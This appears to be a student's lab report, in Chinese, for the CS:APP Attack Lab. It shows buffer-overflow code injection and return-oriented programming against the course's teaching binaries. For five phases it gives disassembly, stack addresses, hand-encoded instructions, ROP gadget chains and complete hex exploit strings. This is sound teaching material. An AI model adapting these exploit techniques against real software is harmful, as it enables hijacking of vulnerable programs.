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Attack Lab 实验报告

实验目的

  1. 了解攻击者如何从缺乏缓冲区溢出防护的程序中寻找安全漏洞；
  2. 了解如何利用编译器和操作系统提供的特性，编写更加安全的程序；
  3. 理解栈的原理，以及 x86-64 传参机制；
  4. 理解 x86-64 指令的编码方式；
  5. 练习使用 GDB 和 OBJDUMP。

实验原理

代码注入（Code injection）

对于栈的起始地址在每次运行时都不改变的程序，如果该程序接受长度不定的用户输入，并将用户输入存储于位于栈的大小固定的缓冲区中，那么攻击者可以精心设计输入，在造成缓冲区溢出的同时，修改上层栈的内容，达成返回到特定代码块等效果；如果程序允许执行存储于栈中的指令，攻击者还可以在输入中添加指令，并使这些指令得到执行。

面向返回编程（Return-oriented programming）

如果栈的起始地址在每次运行时不固定，或者不允许执行存储于栈中的指令，那么代码注入的难度将会加大。但是，在这一情况下，攻击者仍然有机会拼凑原本已经位于程序中的代码片段，进而通过在上层栈中覆写对应于各代码片段的返回地址的序列，达到执行特定代码的目的。

实验过程

Phase 1（CTARGET）

目标：从 getbuf() 返回到 touch1()。

首先检查 getbuf() 的汇编实现：

00000000004017e7 <getbuf>:
  4017e7:	48 83 ec 18          	sub    $0x18,%rsp
  4017eb:	48 89 e7             	mov    %rsp,%rdi
  4017ee:	e8 7e 02 00 00       	callq  401a71 <Gets>
  4017f3:	b8 01 00 00 00       	mov    $0x1,%eax
  4017f8:	48 83 c4 18          	add    $0x18,%rsp
  4017fc:	c3                   	retq

第一条指令分配了 24 字节的栈空间作为缓冲区，据此攻击时可先用 24 个零字节填充该缓冲区（下同）。

再检查 touch1() 的地址：

00000000004017fd <touch1>:

综上，构造的二进制串可为：

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
fd 17 40 00 00 00 00 00

Phase 2（CTARGET）

目标：从 getbuf() 返回到 touch2()。要传入一个整数形式的 cookie，作为 touch2() 所要求的参数。

首先构造指令，将 %edi 的值赋为 cookie。cookie 的值为 0x4ad753f3，据此设计指令：

mov $0x4ad753f3, %edi
retq

以上指令的编码结果为：

bf f3 53 d7 4a c3

现在要将以上编码结果存入栈中并执行。用 GDB 查询得 getbuf() 执行起始的栈顶地址为 0x000000005561d550，于是考虑在这一地址覆写地址值 0x000000005561d558，再在地址 0x000000005561d558 覆写自定义代码。执行上述编码结果前，还应先设置 %rsp 为位于上层栈中的另一地址，并在这一地址覆写 touch2() 的地址。设计为 %rsp 赋值的指令：

add $0x10, %rsp

以上指令的编码结果为：

48 83 c4 10

touch2() 的地址为 0x0000000000401829。综上，构造的二进制串可为：

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
58 d5 61 55 00 00 00 00
48 83 c4 10 bf f3 53 d7
4a c3 00 00 00 00 00 00
29 18 40 00 00 00 00 00

Phase 3（CTARGET）

目标：从 getbuf() 返回到 touch3()。要传入一个字符串形式的 cookie，作为 touch3() 所要求的参数。

首先选取上层栈的某一位置存放 cookie 对应的空终止字符串。这里选取地址 0x000000005561d570（getbuf() 起始栈地址高 32 字节处），同时空终止字符串的二进制表示如下：

34 61 64 37 35 33 66 33 00

其余部分与 Phase 2 类似，但将 %rdi 的值赋为上述字符串所处地址，并用 touch3() 的地址替换 touch2() 的地址。设计为 %rdi 赋值的指令：

mov $0x000000005561d570, %rdi

以上指令的编码结果为：

48 c7 c7 70 d5 61 55

touch3() 的地址为 0x000000000040193a。综上，构造的二进制串可为：

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
58 d5 61 55 00 00 00 00
48 83 c4 10 48 c7 c7 70
d5 61 55 c3 00 00 00 00
3a 19 40 00 00 00 00 00
34 61 64 37 35 33 66 33
00

Phase 4（RTARGET）

目标：同 Phase 2，但程序为 RTARGET。

在 RTARGET 中，将 cookie 存入寄存器的唯一方法是将 cookie 覆写到栈中，并执行 popq 指令。在 gadget farm 中找到了如下几条以 popq 指令开头并以 ret 结尾的 gadget：

# At 0x00000000004019e8
pop %rax
nop
retq

# At 0x00000000004019ed
pop %rsi
mov %rax, %rdi
retq

没有找到 pop %rdi，因此还要寻找 mov 指令。找到了如下几条：

# At 0x00000000004019ee
mov %rax, %rdi
retq

# At 0x0000000000401a6d
mov %rsp, %rax
nop
retq

据此，可先执行 pop %rax，再执行 mov %rax, %rdi。另外，touch2() 的地址为 0x0000000000401829。综上，构造的二进制串可为：

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
e8 19 40 00 00 00 00 00
f3 53 d7 4a 00 00 00 00
ee 19 40 00 00 00 00 00
29 18 40 00 00 00 00 00

Phase 5（RTARGET）

目标：同 Phase 3，但程序为 RTARGET。

在 RTARGET 中，不能事先获知栈地址，只能透过 %rsp 在运行时获知。因此要将 cookie 字符串的地址存入寄存器，就必须在某一时刻访问 %rsp 的值。

现在找到了一条加法指令：

# At 0000000000401a11
lea (%rdi,%rsi,1), %rax
retq

于是可以考虑将 getbuf() 执行起始的栈顶地址和 cookie 地址相对栈顶地址的偏移量（可事先确定）存入 %rdi 和 %rsi。除了加法指令，目前还有以下线索：

  1. 赋值链：%rsp -> %rax -> %rdi；

  2. 可通过 pop %rsi 给 %rsi 赋值。

那么可以设计如下指令：

# At 0x0000000000401a6d
mov %rsp, %rax
nop
# At 0x00000000004019ed
pop %rsi
mov %rax, %rdi
# At 0x0000000000401a11
lea (%rdi,%rsi,1), %rax
# At 0x00000000004019ee
mov %rax, %rdi

touch3() 的地址为 0x000000000040193a。综上，构造的二进制串可为：

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
6d 1a 40 00 00 00 00 00
ed 19 40 00 00 00 00 00
28 00 00 00 00 00 00 00
11 1a 40 00 00 00 00 00
ee 19 40 00 00 00 00 00
3a 19 40 00 00 00 00 00
34 61 64 37 35 33 66 33
00

心得

Visual Studio Code 有一个正则表达式文本搜索功能，可以批量搜索指令，这一功能在 Phase 4 和 Phase 5 中给我提供了很大的帮助。